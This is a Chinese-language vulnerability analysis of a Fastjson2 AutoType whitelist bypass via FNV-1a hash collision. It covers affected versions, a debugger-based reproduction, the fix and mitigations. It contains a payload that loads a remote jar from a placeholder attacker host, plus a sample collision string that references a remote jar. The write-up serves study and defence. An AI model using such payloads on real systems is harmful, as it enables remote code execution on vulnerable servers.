Fastjson2 漏洞
**通过哈希碰撞绕过白名单:**Fastjson2 为了加速 AutoType 白名单匹配,采用增量 FNV-1a 哈希。旧版本在哈希命中后缺少完整名称回验,使构造碰撞字符串成为可能。
**FNV-1a 是非密码学哈希,**速度快,但不以抗碰撞为设计目标。攻击者可结合具体白名单配置计算碰撞字符串。
| 影响版本 | Fastjson2 ≤ 2.0.62(2.0.63 已修复) |
|---|---|
| 利用条件 | Fastjson2 ≤ 2.0.62;未开启 SafeMode;应用存在可命中的 AutoType 白名单或自定义 AutoType 处理逻辑;具体远程加载链还要求相应类加载器、依赖与网络条件 |
| 核心特点 | 利用 FNV-1a 哈希碰撞绕过旧版本的白名单哈希匹配;Fastjson2 默认禁用 AutoType,不能把默认配置直接等同于可利用 |
| 利用方式 | 在满足上述前提时,构造碰撞类型名并结合具体类加载链触发;jar:http:// 只是特定环境中的一种利用形式 |
| JDK 影响 | 能否利用取决于 JDK、类加载器、模块限制和应用依赖,不能笼统表述为与 JDK 安全机制无关 |
Fastjson2 2.0.63 已增加类型名校验和白名单名称文本回验。无法立即升级时,可在未使用自定义
AutoTypeBeforeHandler的场景下启用-Dfastjson2.parser.safeMode=true作为缓解措施。
0x01 漏洞复现
环境搭建
spring boot环境,需要打包成jar然后启用
pom.xml
1 | <dependencies> |
1 | @PostMapping("/parseObject") |
java1.8 流程调试
手打的payload
1 | {"@type":"jar:http://{{attacker_ip}}/evil.jar!/com.evil.Payload","x":1} |
启动使用debug调试
1 | java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar |
前面是SafeMode 检查 → 默认 false,放行
typeName 长度校验 → ≤192 放行
数组类型处理(以 [ 开头)→ 不匹配,跳过
SupportAutoType 检查 → 默认 false
直接断点到,com.alibaba.fastjson2.reader.ObjectReaderProvider#checkAutoType的 (SupportAutoType=false) ,默认就是false,会直接进入增量 FNV-1a 哈希白名单检查,这个是漏洞的关键点
就需要 jar:jar:http:///evil.jar!/+ <4字符碰撞后缀>
1 | long hash = MAGIC_HASH_CODE; // 初始值 -3750763034362895579 |
acceptHashCodes:一个 long 数组,存储了白名单哈希值。
- 哈希是增量计算的:
hash的值随着字符一个个读入不断演变,不是最后算一次- 每读一个字符查一次白名单:在
for循环内部、hash更新后立即binarySearch- 命中后
loadClass(typeName):typeName是整个原始字符串,不是白名单里的真实类名

FNV-1a 哈希是逐字符递推的:
hash(0) = 固定初值
hash(i) = (hash(i-1) ^ char_i) * 大素数
这意味着:
- 修改字符串中的任何一个字符,都会改变从这个字符开始往后所有字符的哈希值。
- 无法单独控制“让第 k 步的哈希恰好等于目标值”,因为第 k 步的哈希依赖于前面所有字符。
在读到某一个字符时,当时的 hash 值命中了白名单就行。 loadClass就加载恶意类了。
1 | clazz = loadClass(typeName); // 为方便本地演示,将 typeName 从 jar:http:// URL 改为本地类名 |

继续跟进。为了方便演示,缓存中已经存在测试类,最终命中 TYPE_MAPPINGS 缓存并返回 EvilClass.class。这只是本地调试条件,不能代替真实利用环境中的远程类加载过程。
在满足特定 Spring Boot FatJar 类加载条件时,流程可能执行
JSON.class.getClassLoader().loadClass(className),再由LaunchedURLClassLoader处理jar:http://或jar:file:形式的资源。该行为依赖具体 Spring Boot 版本、类加载器实现和网络条件。

加载成功后返回对应的 Class 对象,后续进入常规类型检查与对象创建流程。
总结
实际利用很麻烦,64-bit 哈希碰撞需要约 2^48 次操作级的搜索规模,就需要非常久的时间。需要是spring环境,通过java jar的方式启动,因为Class.forName 不支持 jar:http:// URL,但 URLClassLoader 本身可以——实际攻击需要哈希碰撞路径触发 loadClass,再配合能解析 JAR URL 的 ClassLoader
0x02 漏洞修复
只有当哈希命中且当前已读的字符串(即 typeName 的前 i+1 个字符)与白名单中的某个类名完全一致时,才放行加载。否则 continue,继续读下一个字符。
攻击者构造的碰撞字符串,例如 jar:http:..3232235974:8888.poc!.E는犩蒭ᴛ进,虽然哈希值在某一步命中了白名单(比如对应 com.alibaba.fastjson.util.AntiCollisionHashMap),但当代码取出 typeName.substring(0, i+1) 时,得到的是 jar:http:..3232235974:8888.poc!.E는犩蒭ᴛ进 的前缀,它绝不等于com.alibaba.fastjson.util.AntiCollisionHashMap
1 | if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { |

0x03 防御
1. 根治方案:升级到最新
2. 启用 SafeMode
这样@type关键字就没有用了